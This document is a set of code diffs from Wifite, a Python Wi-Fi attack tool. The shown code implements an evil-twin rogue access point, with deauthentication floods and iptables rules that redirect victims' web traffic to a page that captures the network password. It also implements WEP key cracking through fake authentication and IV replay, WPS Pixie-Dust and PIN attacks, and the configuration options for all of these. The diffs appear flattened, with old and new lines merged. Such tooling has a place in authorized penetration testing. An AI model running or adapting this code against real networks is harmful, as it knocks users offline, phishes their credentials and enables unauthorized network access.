self.deauther = Deauther(self.deauth_iface, self.target)
#self.deauther.start()
Color.clear_entire_line()
while not self.completed:
time.sleep(1)
airodump_target = self.wait_for_target(airodump)
# TODO: Check hostapd, dnsmasq, and webserver statistics
self.pattack(airodump_target, 'waiting for clients')
# Update deauther with latest client information
self.deauther.update_target(airodump_target)
except KeyboardInterrupt:
# Cleanup
Color.pl('\n{!} {O}Interrupted{W}')
if self.success:
# TODO: print status & save
self.cleanup()
return
if self.error_msg:
self.cleanup()
raise Exception(self.error_msg)
self.cleanup()
def pattack(self, airodump_target, status):
Color.pattack('EvilTwin', airodump_target, 'attack', status)
def success_callback(self, crack_result):
# Called by webserver when we get a password
self.crack_result = crack_result
self.success = True
self.completed = True
def status_callback(self, status_message):
# Called by webserver on status update
pass
def error_callback(self, error_msg):
# Called by webserver on error / failure
self.completed = True
self.error_msg = error_msg
def cleanup(self):
if self.dnsmasq:
self.dnsmasq.stop()
if self.hostapd:
self.hostapd.stop()
if self.webserver:
self.webserver.stop()
# From https://stackoverflow.com/a/268686
if self.deauther:
self.deauther.stop()
self.set_port_forwarding(enabled=False)
Iptables.flush() #iptables -F
Iptables.flush(table='nat') #iptables -t nat -F
Iptables.flush(table='mangle') #iptables -t mangle -F
Iptables.delete_chain() #iptables -X
Iptables.delete_chain(table='nat') #iptables -t nat -X
Iptables.delete_chain(table='mangle') #iptables -t mangle -X
def set_port_forwarding(self, enabled=True):
# echo "1" > /proc/sys/net/ipv4/ip_forward
# TODO: Are there other/better ways to do this?
with open('/proc/sys/net/ipv4/ip_forward', 'w') as ip_forward:
ip_forward.write('1' if enabled else '0')
def configure_iptables(self, interface):
# iptables -N internet -t mangle
Iptables.new_chain('internet', 'mangle')
#iptables -t mangle -A PREROUTING -j internet
Iptables.append('PREROUTING', table='mangle', rules=[
'-j', 'internet'
])
#iptables -t mangle -A internet -j MARK --set-mark 99
Iptables.append('PREROUTING', table='mangle', rules=[
'-j', 'MARK',
'--set-mark', '99',
])
#iptables -t nat -A PREROUTING -m mark --mark 99 -p tcp --dport 80 -j DNAT --to-destination 10.0.0.1
Iptables.append('PREROUTING', table='nat', rules=[
'--match', 'mark',
'--mark', '99',
'--protocol', 'tcp',
'--dport', '80',
'--jump', 'DNAT',
'--to-destination', '10.0.0.1',
])
#iptables -A FORWARD -i eth0 -o wlan0 -m state --state ESTABLISHED,RELATED -j ACCEPT
Iptables.append('FORWARD', rules=[
'--in-interface', 'eth0',
'--out-interface', interface,
'--match', 'state',
'--state', 'ESTABLISHED,RELATED',
'--jump', 'ACCEPT',
])
#iptables -A FORWARD -m mark --mark 99 -j REJECT
Iptables.append('FORWARD', rules=[
'--match', 'mark',
'--mark', '99',
'--jump', 'REJECT',
])
#iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
Iptables.append('FORWARD', rules=[
'--in-interface', interface,
'--out-interface', 'eth0',
'--jump', 'ACCEPT',
])
#iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
Iptables.append('POSTROUTING', table='nat', rules=[
'--out-interface', 'eth0',
'--jump', 'MASQUERADE',
])

View File

@@ -5,8 +5,8 @@ from ..model.attack import Attack
from ..tools.airodump import Airodump from ..tools.airodump import Airodump
from ..tools.aireplay import Aireplay, WEPAttackType from ..tools.aireplay import Aireplay, WEPAttackType
from ..tools.aircrack import Aircrack from ..tools.aircrack import Aircrack
from ..tools.ifconfig import Ifconfig
from ..config import Configuration from ..config import Configuration
from ..model.interface import Interface
from ..util.color import Color from ..util.color import Color
from ..util.input import raw_input from ..util.input import raw_input
from ..model.wep_result import CrackResultWEP from ..model.wep_result import CrackResultWEP
@@ -37,6 +37,15 @@ class AttackWEP(Attack):
replay_file = None replay_file = None
airodump_target = None airodump_target = None
previous_ivs = 0
current_ivs = 0
total_ivs = 0
keep_ivs = Configuration.wep_keep_ivs
# Clean up previous WEP sessions
if keep_ivs:
Airodump.delete_airodump_temp_files('wep')
attacks_remaining = list(Configuration.wep_attacks) attacks_remaining = list(Configuration.wep_attacks)
while len(attacks_remaining) > 0: while len(attacks_remaining) > 0:
attack_name = attacks_remaining.pop(0) attack_name = attacks_remaining.pop(0)
@@ -47,7 +56,8 @@ class AttackWEP(Attack):
target_bssid=self.target.bssid, target_bssid=self.target.bssid,
ivs_only=True, # Only capture IVs packets ivs_only=True, # Only capture IVs packets
skip_wps=True, # Don't check for WPS-compatibility skip_wps=True, # Don't check for WPS-compatibility
output_file_prefix='wep') as airodump: output_file_prefix='wep',
delete_existing_files=not keep_ivs) as airodump:
Color.clear_line() Color.clear_line()
Color.p('\r{+} {O}waiting{W} for target to appear...') Color.p('\r{+} {O}waiting{W} for target to appear...')
@@ -57,7 +67,7 @@ class AttackWEP(Attack):
if self.fake_auth(): if self.fake_auth():
# We successfully authenticated! # We successfully authenticated!
# Use our interface's MAC address for the attacks. # Use our interface's MAC address for the attacks.
client_mac = Interface.get_mac() client_mac = Ifconfig.get_mac(Configuration.interface)
# Keep us authenticated # Keep us authenticated
fakeauth_proc = Aireplay(self.target, "fakeauth") fakeauth_proc = Aireplay(self.target, "fakeauth")
elif len(airodump_target.clients) == 0: elif len(airodump_target.clients) == 0:
@@ -77,10 +87,11 @@ class AttackWEP(Attack):
# Start Aireplay process. # Start Aireplay process.
aireplay = Aireplay(self.target, aireplay = Aireplay(self.target,
wep_attack_type, wep_attack_type,
client_mac=client_mac) client_mac=client_mac,
replay_file=replay_file)
time_unchanged_ivs = time.time() # Timestamp when IVs last changed time_unchanged_ivs = time.time() # Timestamp when IVs last changed
previous_ivs = 0 last_ivs_count = 0
# Loop until attack completes. # Loop until attack completes.
@@ -90,7 +101,14 @@ class AttackWEP(Attack):
if client_mac is None and len(airodump_target.clients) > 0: if client_mac is None and len(airodump_target.clients) > 0:
client_mac = airodump_target.clients[0].station client_mac = airodump_target.clients[0].station
status = "%d/{C}%d{W} IVs" % (airodump_target.ivs, Configuration.wep_crack_at_ivs) if keep_ivs and current_ivs > airodump_target.ivs:
# We now have less IVS than before; A new attack must have started.
# Track how many we have in-total.
previous_ivs += total_ivs
current_ivs = airodump_target.ivs
total_ivs = previous_ivs + current_ivs
status = "%d/{C}%d{W} IVs" % (total_ivs, Configuration.wep_crack_at_ivs)
if fakeauth_proc: if fakeauth_proc:
if fakeauth_proc and fakeauth_proc.status: if fakeauth_proc and fakeauth_proc.status:
status += ", {G}fakeauth{W}" status += ", {G}fakeauth{W}"
@@ -115,6 +133,9 @@ class AttackWEP(Attack):
self.crack_result = CrackResultWEP(self.target.bssid, self.crack_result = CrackResultWEP(self.target.bssid,
self.target.essid, hex_key, ascii_key) self.target.essid, hex_key, ascii_key)
self.crack_result.dump() self.crack_result.dump()
Airodump.delete_airodump_temp_files('wep')
self.success = True self.success = True
return self.success return self.success
@@ -123,27 +144,27 @@ class AttackWEP(Attack):
Color.p("and {C}cracking{W}") Color.p("and {C}cracking{W}")
# Check number of IVs, crack if necessary # Check number of IVs, crack if necessary
if airodump_target.ivs > Configuration.wep_crack_at_ivs: if total_ivs > Configuration.wep_crack_at_ivs:
if not aircrack: if not aircrack or not aircrack.is_running():
# Aircrack hasn't started yet. Start it. # Aircrack hasn't started yet. Start it.
ivs_file = airodump.find_files(endswith='.ivs')[0] ivs_files = airodump.find_files(endswith='.ivs')
aircrack = Aircrack(ivs_file) ivs_files.sort()
if len(ivs_files) > 0:
elif not aircrack.is_running(): if not keep_ivs:
# Aircrack stopped running. ivs_files = ivs_files[-1] # Use most-recent .ivs file
Color.pl('\n{!} {O}aircrack stopped running!{W}') aircrack = Aircrack(ivs_files)
ivs_file = airodump.find_files(endswith='.ivs')[0]
Color.pl('{+} {C}aircrack{W} stopped, restarting...')
self.fake_auth()
aircrack = Aircrack(ivs_file)
elif Configuration.wep_restart_aircrack > 0 and \ elif Configuration.wep_restart_aircrack > 0 and \
aircrack.pid.running_time() > Configuration.wep_restart_aircrack: aircrack.pid.running_time() > Configuration.wep_restart_aircrack:
# Restart aircrack after X seconds # Restart aircrack after X seconds
#Color.pl('\n{+} {C}aircrack{W} ran for more than {C}%d{W} seconds, restarting' % Configuration.wep_restart_aircrack)
aircrack.stop() aircrack.stop()
ivs_file = airodump.find_files(endswith='.ivs')[0] ivs_files = airodump.find_files(endswith='.ivs')
Color.pl('\n{+} {C}aircrack{W} ran for more than {C}%d{W} seconds, restarting' % Configuration.wep_restart_aircrack) ivs_files.sort()
aircrack = Aircrack(ivs_file) if len(ivs_files) > 0:
if not keep_ivs:
ivs_files = ivs_files[-1] # Use most-recent .ivs file
aircrack = Aircrack(ivs_files)
if not aireplay.is_running(): if not aireplay.is_running():
@@ -178,6 +199,7 @@ class AttackWEP(Attack):
'forgedreplay', 'forgedreplay',
client_mac=client_mac, client_mac=client_mac,
replay_file=replay_file) replay_file=replay_file)
time_unchanged_ivs = time.time() # Reset unchanged IVs time (it may have taken a while to forge the packet)
continue continue
else: else:
# Failed to forge packet. drop out # Failed to forge packet. drop out
@@ -189,7 +211,7 @@ class AttackWEP(Attack):
break # Continue to other attacks break # Continue to other attacks
# Check if IVs stopped flowing (same for > N seconds) # Check if IVs stopped flowing (same for > N seconds)
if airodump_target.ivs > previous_ivs: if airodump_target.ivs > last_ivs_count:
time_unchanged_ivs = time.time() time_unchanged_ivs = time.time()
elif Configuration.wep_restart_stale_ivs > 0 and \ elif Configuration.wep_restart_stale_ivs > 0 and \
attack_name != 'chopchop' and \ attack_name != 'chopchop' and \
@@ -206,7 +228,7 @@ class AttackWEP(Attack):
client_mac=client_mac, \ client_mac=client_mac, \
replay_file=replay_file) replay_file=replay_file)
time_unchanged_ivs = time.time() time_unchanged_ivs = time.time()
previous_ivs = airodump_target.ivs last_ivs_count = airodump_target.ivs
time.sleep(1) time.sleep(1)
continue continue
@@ -215,11 +237,19 @@ class AttackWEP(Attack):
except KeyboardInterrupt: except KeyboardInterrupt:
if fakeauth_proc: fakeauth_proc.stop() if fakeauth_proc: fakeauth_proc.stop()
if len(attacks_remaining) == 0: if len(attacks_remaining) == 0:
if keep_ivs:
Airodump.delete_airodump_temp_files('wep')
self.success = False self.success = False
return self.success return self.success
if self.user_wants_to_stop(attack_name, attacks_remaining, airodump_target): if self.user_wants_to_stop(attack_name, attacks_remaining, airodump_target):
if keep_ivs:
Airodump.delete_airodump_temp_files('wep')
self.success = False self.success = False
return self.success return self.success
except Exception as e: except Exception as e:
Color.pl("\n{!} {R}Error: {O}%s" % str(e)) Color.pl("\n{!} {R}Error: {O}%s" % str(e))
if Configuration.verbose > 0 or Configuration.print_stack_traces: if Configuration.verbose > 0 or Configuration.print_stack_traces:
@@ -235,6 +265,9 @@ class AttackWEP(Attack):
# End of big try-catch # End of big try-catch
# End of for-each-attack-type loop # End of for-each-attack-type loop
if keep_ivs:
Airodump.delete_airodump_temp_files('wep')
self.success = False self.success = False
return self.success return self.success
@@ -275,15 +308,24 @@ class AttackWEP(Attack):
# Deauth clients & retry # Deauth clients & retry
deauth_count = 1 deauth_count = 1
Color.clear_entire_line() Color.clear_entire_line()
Color.p("\r{+} {O}Deauthenticating *broadcast*{W} (all clients)...") Color.p("\r{+} {O}Deauthenticating *broadcast*{W} (all clients)...")
Aireplay.deauth(target.bssid, essid=target.essid) Aireplay.deauth(target.bssid, essid=target.essid)
attacking_mac = Ifconfig.get_mac(Configuration.interface)
for client in target.clients: for client in target.clients:
if attacking_mac.lower() == client.station.lower():
continue # Don't deauth ourselves.
Color.clear_entire_line() Color.clear_entire_line()
Color.p("\r{+} {O}Deauthenticating client {C}%s{W}..." % client.station) Color.p("\r{+} {O}Deauthenticating client {C}%s{W}..." % client.station)
Aireplay.deauth(target.bssid, client_mac=client.station, essid=target.essid) Aireplay.deauth(target.bssid, client_mac=client.station, essid=target.essid)
deauth_count += 1 deauth_count += 1
Color.clear_entire_line() Color.clear_entire_line()
Color.pl("\r{+} Sent {C}%d {O}deauths{W}" % deauth_count) Color.pl("\r{+} Sent {C}%d {O}deauths{W}" % deauth_count)
# Re-insert current attack to top of list of attacks remaining # Re-insert current attack to top of list of attacks remaining
attacks_remaining.insert(0, current_attack) attacks_remaining.insert(0, current_attack)
return False # Don't stop return False # Don't stop

View File

@@ -29,19 +29,18 @@ class AttackWPS(Attack):
bully = Bully(self.target) bully = Bully(self.target)
bully.run() bully.run()
bully.stop() bully.stop()
if bully.crack_result is not None: self.crack_result = bully.crack_result
self.crack_result = bully.crack_result self.success = self.crack_result is not None
self.success = True return self.success
return True
else: else:
reaver = Reaver(self.target) reaver = Reaver(self.target)
if reaver.is_pixiedust_supported(): if reaver.is_pixiedust_supported():
# Reaver: Pixie-dust # Reaver: Pixie-dust
reaver = Reaver(self.target) reaver = Reaver(self.target)
if reaver.run_pixiedust_attack(): reaver.run()
self.crack_result = reaver.crack_result self.crack_result = reaver.crack_result
self.success = True self.success = self.crack_result is not None
return True return self.success
else: else:
Color.pl("{!} {R}your version of 'reaver' does not support the {O}WPS pixie-dust attack{W}") Color.pl("{!} {R}your version of 'reaver' does not support the {O}WPS pixie-dust attack{W}")

View File

@@ -1,76 +1,88 @@
#!/usr/bin/python2.7 #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from .util.color import Color
from .tools.macchanger import Macchanger
import os import os
from .util.color import Color
from .util.input import raw_input
from .tools.iwconfig import Iwconfig
from .tools.macchanger import Macchanger
class Configuration(object): class Configuration(object):
''' Stores configuration variables and functions for Wifite. ''' ''' Stores configuration variables and functions for Wifite. '''
verbose = 0 version = '2.1.5'
initialized = False # Flag indicating config has been initialized initialized = False # Flag indicating config has been initialized
temp_dir = None # Temporary directory temp_dir = None # Temporary directory
version = '2.1.0' interface = None
verbose = 0
@staticmethod @classmethod
def initialize(load_interface=True): def initialize(cls, load_interface=True):
''' '''
Sets up default initial configuration values. Sets up default initial configuration values.
Also sets config values based on command-line arguments. Also sets config values based on command-line arguments.
''' '''
# TODO: categorize configuration into separate classes (under config/*.py)
# E.g. Configuration.wps.enabled, Configuration.wps.timeout, etc
# Only initialize this class once # Only initialize this class once
if Configuration.initialized: if cls.initialized:
return return
Configuration.initialized = True cls.initialized = True
Configuration.verbose = 0 # Verbosity level. cls.verbose = 0 # Verbosity of output. Higher number means more debug info about running processes.
Configuration.print_stack_traces = True cls.print_stack_traces = True
Configuration.kill_conflicting_processes = False cls.kill_conflicting_processes = False
Configuration.scan_time = 0 # Time to wait before attacking all targets cls.scan_time = 0 # Time to wait before attacking all targets
Configuration.all_targets = False # Run attacks against all targets automatically cls.all_targets = False # Run attacks against all targets automatically
Configuration.tx_power = 0 # Wifi transmit power (0 is default) cls.tx_power = 0 # Wifi transmit power (0 is default)
Configuration.interface = None cls.interface = None
Configuration.target_channel = None # User-defined channel to scan cls.target_channel = None # User-defined channel to scan
Configuration.target_essid = None # User-defined AP name cls.target_essid = None # User-defined AP name
Configuration.target_bssid = None # User-defined AP BSSID cls.target_bssid = None # User-defined AP BSSID
Configuration.ignore_essid = None # ESSIDs to ignore cls.ignore_essid = None # ESSIDs to ignore
Configuration.five_ghz = False # Scan 5Ghz channels cls.clients_only = False # Only show targets that have associated clients
Configuration.show_bssids = False # Show BSSIDs in targets list cls.five_ghz = False # Scan 5Ghz channels
Configuration.random_mac = False # Should generate a random Mac address at startup. cls.show_bssids = False # Show BSSIDs in targets list
Configuration.no_deauth = False # Deauth hidden networks & WPA handshake targets cls.random_mac = False # Should generate a random Mac address at startup.
Configuration.num_deauths = 1 # Number of deauth packets to send to each target. cls.no_deauth = False # Deauth hidden networks & WPA handshake targets
cls.num_deauths = 1 # Number of deauth packets to send to each target.
Configuration.encryption_filter = ['WEP', 'WPA', 'WPS'] cls.encryption_filter = ['WEP', 'WPA', 'WPS']
# EvilTwin variables
cls.use_eviltwin = False
cls.eviltwin_port = 80
cls.eviltwin_iface = None
# WEP variables # WEP variables
Configuration.wep_filter = False # Only attack WEP networks cls.wep_filter = False # Only attack WEP networks
Configuration.wep_pps = 600 # Packets per second cls.wep_pps = 600 # Packets per second
Configuration.wep_timeout = 600 # Seconds to wait before failing cls.wep_timeout = 600 # Seconds to wait before failing
Configuration.wep_crack_at_ivs = 10000 # Minimum IVs to start cracking cls.wep_crack_at_ivs = 10000 # Minimum IVs to start cracking
Configuration.require_fakeauth = False cls.require_fakeauth = False
Configuration.wep_restart_stale_ivs = 11 # Seconds to wait before restarting cls.wep_restart_stale_ivs = 11 # Seconds to wait before restarting
# Aireplay if IVs don't increaes. # Aireplay if IVs don't increaes.
# "0" means never restart. # "0" means never restart.
Configuration.wep_restart_aircrack = 30 # Seconds to give aircrack to crack cls.wep_restart_aircrack = 30 # Seconds to give aircrack to crack
# before restarting the process. # before restarting the process.
Configuration.wep_crack_at_ivs = 10000 # Number of IVS to start cracking cls.wep_crack_at_ivs = 10000 # Number of IVS to start cracking
cls.wep_keep_ivs = False # Retain .ivs files across multiple attacks.
# WPA variables # WPA variables
Configuration.wpa_filter = False # Only attack WPA networks cls.wpa_filter = False # Only attack WPA networks
Configuration.wpa_deauth_timeout = 15 # Wait time between deauths cls.wpa_deauth_timeout = 15 # Wait time between deauths
Configuration.wpa_attack_timeout = 500 # Wait time before failing cls.wpa_attack_timeout = 500 # Wait time before failing
Configuration.wpa_handshake_dir = "hs" # Dir to store handshakes cls.wpa_handshake_dir = "hs" # Dir to store handshakes
Configuration.wpa_strip_handshake = False # Strip non-handshake packets cls.wpa_strip_handshake = False # Strip non-handshake packets
Configuration.ignore_old_handshakes = False # Always fetch a new handshake cls.ignore_old_handshakes = False # Always fetch a new handshake
# Default dictionary for cracking # Default dictionary for cracking
Configuration.wordlist = None cls.wordlist = None
wordlists = [ wordlists = [
'/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt', '/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt',
'/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt', '/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt',
@@ -78,218 +90,280 @@ class Configuration(object):
] ]
for wlist in wordlists: for wlist in wordlists:
if os.path.exists(wlist): if os.path.exists(wlist):
Configuration.wordlist = wlist cls.wordlist = wlist
break break
# WPS variables # WPS variables
Configuration.wps_filter = False # Only attack WPS networks cls.wps_filter = False # Only attack WPS networks
Configuration.no_wps = False # Do not use WPS attacks (Pixie-Dust & PIN attacks) cls.no_wps = False # Do not use WPS attacks (Pixie-Dust & PIN attacks)
Configuration.wps_only = False # ONLY use WPS attacks on non-WEP networks cls.wps_only = False # ONLY use WPS attacks on non-WEP networks
Configuration.use_bully = False # Use bully instead of reaver cls.use_bully = False # Use bully instead of reaver
Configuration.wps_pixie_timeout = 300 # Seconds to wait for PIN before WPS Pixie attack fails cls.wps_pixie_timeout = 300 # Seconds to wait for PIN before WPS Pixie attack fails
Configuration.wps_pixie_step_timeout = 30 # Seconds to wait for a step to change before pixie fails cls.wps_fail_threshold = 100 # Max number of failures
Configuration.wps_fail_threshold = 30 # Max number of failures cls.wps_timeout_threshold = 100 # Max number of timeouts
Configuration.wps_timeout_threshold = 30 # Max number of timeouts
Configuration.wps_skip_rate_limit = True # Skip rate-limited WPS APs
# Commands # Commands
Configuration.show_cracked = False cls.show_cracked = False
Configuration.check_handshake = None cls.check_handshake = None
Configuration.crack_handshake = False cls.crack_handshake = False
# Overwrite config values with arguments (if defined) # Overwrite config values with arguments (if defined)
Configuration.load_from_arguments() cls.load_from_arguments()
if load_interface: if load_interface:
Configuration.get_interface() cls.get_monitor_mode_interface()
@staticmethod @classmethod
def get_interface(): def get_monitor_mode_interface(cls):
if Configuration.interface is None: if cls.interface is None:
# Interface wasn't defined, select it! # Interface wasn't defined, select it!
from .tools.airmon import Airmon from .tools.airmon import Airmon
Configuration.interface = Airmon.ask() cls.interface = Airmon.ask()
if Configuration.random_mac: if cls.random_mac:
Macchanger.random() Macchanger.random()
@classmethod
def get_eviltwin_interface(cls):
if cls.eviltwin_iface is None:
Color.pl('\n{+} {G}Evil Twin attack{W}')
Color.p('{+} looking for wireless interfaces in "Managed" mode... ')
@staticmethod ifaces = Iwconfig.get_interfaces(mode='Managed')
def load_from_arguments():
if len(ifaces) == 0:
Color.pl('\n{!} {O}no other wireless interfaces in "Managed" mode!{W}')
raise Exception('eviltwin attack requires two wireless cards (1 monitor-mode, 1 managed-mode)')
Color.clear_entire_line()
while True:
# Ask user to select eviltwin interface
Color.pl(' select the interface for the {C}evil twin{W} access point:')
for index, iface in enumerate(ifaces, start=1):
Color.pl(' {G}%d{W}. {C}%s{W}' % (index, iface))
question = '{+} enter number ({G}'
if len(ifaces) == 1:
question += '1'
else:
question += '1-%d' % len(ifaces)
question += '{W}): '
selection = raw_input(Color.s(question))
if selection.strip() in ifaces:
selection = str(ifaces.index(selection.strip()) + 1)
elif not selection.isdigit():
Color.pl('\n{!} {O}selection must be numeric{W}')
continue
selection = int(selection)
if selection < 1 or selection > len(ifaces):
Color.pl('\n{!} {O}selection must be between {R}1{O} and {R}%d{W}' % len(ifaces))
continue
break
cls.eviltwin_iface = ifaces[selection - 1]
return cls.eviltwin_iface
@classmethod
def load_from_arguments(cls):
''' Sets configuration values based on Argument.args object ''' ''' Sets configuration values based on Argument.args object '''
from .args import Arguments from .args import Arguments
args = Arguments(Configuration).args args = Arguments(cls).args
if args.random_mac: if args.random_mac:
Configuration.random_mac = True cls.random_mac = True
Color.pl('{+} {C}option:{W} using {G}random mac address{W} when scanning & attacking') Color.pl('{+} {C}option:{W} using {G}random mac address{W} when scanning & attacking')
if args.channel: if args.channel:
Configuration.target_channel = args.channel cls.target_channel = args.channel
Color.pl('{+} {C}option:{W} scanning for targets on channel {G}%s{W}' % args.channel) Color.pl('{+} {C}option:{W} scanning for targets on channel {G}%s{W}' % args.channel)
if args.interface: if args.interface:
Configuration.interface = args.interface cls.interface = args.interface
Color.pl('{+} {C}option:{W} using wireless interface {G}%s{W}' % args.interface) Color.pl('{+} {C}option:{W} using wireless interface {G}%s{W}' % args.interface)
if args.target_bssid: if args.target_bssid:
Configuration.target_bssid = args.target_bssid cls.target_bssid = args.target_bssid
Color.pl('{+} {C}option:{W} targeting BSSID {G}%s{W}' % args.target_bssid) Color.pl('{+} {C}option:{W} targeting BSSID {G}%s{W}' % args.target_bssid)
if args.five_ghz == True: if args.five_ghz == True:
Configuration.five_ghz = True cls.five_ghz = True
Color.pl('{+} {C}option:{W} including {G}5Ghz networks{W} in scans') Color.pl('{+} {C}option:{W} including {G}5Ghz networks{W} in scans')
if args.show_bssids == True: if args.show_bssids == True:
Configuration.show_bssids = True cls.show_bssids = True
Color.pl('{+} {C}option:{W} showing {G}bssids{W} of targets during scan') Color.pl('{+} {C}option:{W} showing {G}bssids{W} of targets during scan')
if args.no_deauth == True: if args.no_deauth == True:
Configuration.no_deauth = True cls.no_deauth = True
Color.pl('{+} {C}option:{W} will {R}not{W} {O}deauth{W} clients during scans or captures') Color.pl('{+} {C}option:{W} will {R}not{W} {O}deauth{W} clients during scans or captures')
if args.num_deauths and args.num_deauths > 0: if args.num_deauths and args.num_deauths > 0:
Configuration.num_deauths = args.num_deauths cls.num_deauths = args.num_deauths
Color.pl('{+} {C}option:{W} will send {G}%d{W} deauth packets when deauthing' % Configuration.num_deauths) Color.pl('{+} {C}option:{W} will send {G}%d{W} deauth packets when deauthing' % cls.num_deauths)
if args.target_essid: if args.target_essid:
Configuration.target_essid = args.target_essid cls.target_essid = args.target_essid
Color.pl('{+} {C}option:{W} targeting ESSID {G}%s{W}' % args.target_essid) Color.pl('{+} {C}option:{W} targeting ESSID {G}%s{W}' % args.target_essid)
if args.ignore_essid is not None: if args.ignore_essid is not None:
Configuration.ignore_essid = args.ignore_essid cls.ignore_essid = args.ignore_essid
Color.pl('{+} {C}option:{W} {O}ignoring ESSIDs that include {R}%s{W}' % args.ignore_essid) Color.pl('{+} {C}option:{W} {O}ignoring ESSIDs that include {R}%s{W}' % args.ignore_essid)
if args.clients_only == True:
cls.clients_only = True
Color.pl('{+} {C}option:{W} {O}ignoring targets that do not have associated clients')
if args.scan_time: if args.scan_time:
Configuration.scan_time = args.scan_time cls.scan_time = args.scan_time
Color.pl('{+} {C}option:{W} ({G}pillage{W}) attack all targets after {G}%d{W}s' % args.scan_time) Color.pl('{+} {C}option:{W} ({G}pillage{W}) attack all targets after {G}%d{W}s' % args.scan_time)
if args.verbose: if args.verbose:
Configuration.verbose = args.verbose cls.verbose = args.verbose
Color.pl('{+} {C}option:{W} verbosity level {G}%d{W}' % args.verbose) Color.pl('{+} {C}option:{W} verbosity level {G}%d{W}' % args.verbose)
if args.kill_conflicting_processes: if args.kill_conflicting_processes:
Configuration.kill_conflicting_processes = True cls.kill_conflicting_processes = True
Color.pl('{+} {C}option:{W} kill conflicting processes {G}enabled{W}') Color.pl('{+} {C}option:{W} kill conflicting processes {G}enabled{W}')
# EvilTwin
if args.eviltwin_iface:
# Check that eviltwin_iface exists in iwconfig
existing_ifaces = Iwconfig.get_interfaces()
if args.eviltwin_iface not in existing_ifaces:
raise Exception('Interface "%s" was not found by iwconfig (found %s)' % (args.eviltwin_iface, ','.join(existing_ifaces)))
# TODO: Put device into managed mode?
cls.eviltwin_iface = args.eviltwin_iface
Color.pl('{+} {C}option:{W} using {G}%s{W} to create fake AP for evil twin attacks' % cls.eviltwin_iface)
if args.use_eviltwin:
# TODO: Or ask user to select a different wireless device?
cls.use_eviltwin = True
Color.pl('{+} {C}option:{W} attacking all targets using {G}eviltwin attacks{W}')
# WEP # WEP
if args.wep_filter: if args.wep_filter:
Configuration.wep_filter = args.wep_filter cls.wep_filter = args.wep_filter
if args.wep_pps: if args.wep_pps:
Configuration.wep_pps = args.wep_pps cls.wep_pps = args.wep_pps
Color.pl('{+} {C}option:{W} using {G}%d{W} packets-per-second on WEP attacks' % args.wep_pps) Color.pl('{+} {C}option:{W} using {G}%d{W} packets-per-second on WEP attacks' % args.wep_pps)
if args.wep_timeout: if args.wep_timeout:
Configuration.wep_timeout = args.wep_timeout cls.wep_timeout = args.wep_timeout
Color.pl('{+} {C}option:{W} WEP attack timeout set to {G}%d seconds{W}' % args.wep_timeout) Color.pl('{+} {C}option:{W} WEP attack timeout set to {G}%d seconds{W}' % args.wep_timeout)
if args.require_fakeauth: if args.require_fakeauth:
Configuration.require_fakeauth = True cls.require_fakeauth = True
Color.pl('{+} {C}option:{W} fake-authentication is {G}required{W} for WEP attacks') Color.pl('{+} {C}option:{W} fake-authentication is {G}required{W} for WEP attacks')
if args.wep_crack_at_ivs: if args.wep_crack_at_ivs:
Configuration.wep_crack_at_ivs = args.wep_crack_at_ivs cls.wep_crack_at_ivs = args.wep_crack_at_ivs
Color.pl('{+} {C}option:{W} will start cracking WEP keys at {G}%d IVs{W}' % args.wep_crack_at_ivs) Color.pl('{+} {C}option:{W} will start cracking WEP keys at {G}%d IVs{W}' % args.wep_crack_at_ivs)
if args.wep_restart_stale_ivs: if args.wep_restart_stale_ivs:
Configuration.wep_restart_stale_ivs = args.wep_restart_stale_ivs cls.wep_restart_stale_ivs = args.wep_restart_stale_ivs
Color.pl('{+} {C}option:{W} will restart aireplay after {G}%d seconds{W} of no new IVs' % args.wep_restart_stale_ivs) Color.pl('{+} {C}option:{W} will restart aireplay after {G}%d seconds{W} of no new IVs' % args.wep_restart_stale_ivs)
if args.wep_restart_aircrack: if args.wep_restart_aircrack:
Configuration.wep_restart_aircrack = args.wep_restart_aircrack cls.wep_restart_aircrack = args.wep_restart_aircrack
Color.pl('{+} {C}option:{W} will restart aircrack every {G}%d seconds{W}' % args.wep_restart_aircrack) Color.pl('{+} {C}option:{W} will restart aircrack every {G}%d seconds{W}' % args.wep_restart_aircrack)
if args.wep_keep_ivs:
cls.wep_keep_ivs = args.wep_keep_ivs
Color.pl('{+} {C}option:{W} keep .ivs files across multiple WEP attacks')
# WPA # WPA
if args.wpa_filter: if args.wpa_filter:
Configuration.wpa_filter = args.wpa_filter cls.wpa_filter = args.wpa_filter
if args.wordlist: if args.wordlist:
if os.path.exists(args.wordlist): if os.path.exists(args.wordlist):
Configuration.wordlist = args.wordlist cls.wordlist = args.wordlist
Color.pl('{+} {C}option:{W} using wordlist {G}%s{W} to crack WPA handshakes' % args.wordlist) Color.pl('{+} {C}option:{W} using wordlist {G}%s{W} to crack WPA handshakes' % args.wordlist)
else: else:
Configuration.wordlist = None cls.wordlist = None
Color.pl('{+} {C}option:{O} wordlist {R}%s{O} was not found, wifite will NOT attempt to crack handshakes' % args.wordlist) Color.pl('{+} {C}option:{O} wordlist {R}%s{O} was not found, wifite will NOT attempt to crack handshakes' % args.wordlist)
if args.wpa_deauth_timeout: if args.wpa_deauth_timeout:
Configuration.wpa_deauth_timeout = args.wpa_deauth_timeout cls.wpa_deauth_timeout = args.wpa_deauth_timeout
Color.pl('{+} {C}option:{W} will deauth WPA clients every {G}%d seconds{W}' % args.wpa_deauth_timeout) Color.pl('{+} {C}option:{W} will deauth WPA clients every {G}%d seconds{W}' % args.wpa_deauth_timeout)
if args.wpa_attack_timeout: if args.wpa_attack_timeout:
Configuration.wpa_attack_timeout = args.wpa_attack_timeout cls.wpa_attack_timeout = args.wpa_attack_timeout
Color.pl('{+} {C}option:{W} will stop WPA handshake capture after {G}%d seconds{W}' % args.wpa_attack_timeout) Color.pl('{+} {C}option:{W} will stop WPA handshake capture after {G}%d seconds{W}' % args.wpa_attack_timeout)
if args.ignore_old_handshakes: if args.ignore_old_handshakes:
Configuration.ignore_old_handshakes = True cls.ignore_old_handshakes = True
Color.pl("{+} {C}option:{W} will {O}ignore{W} existing handshakes (force capture)") Color.pl("{+} {C}option:{W} will {O}ignore{W} existing handshakes (force capture)")
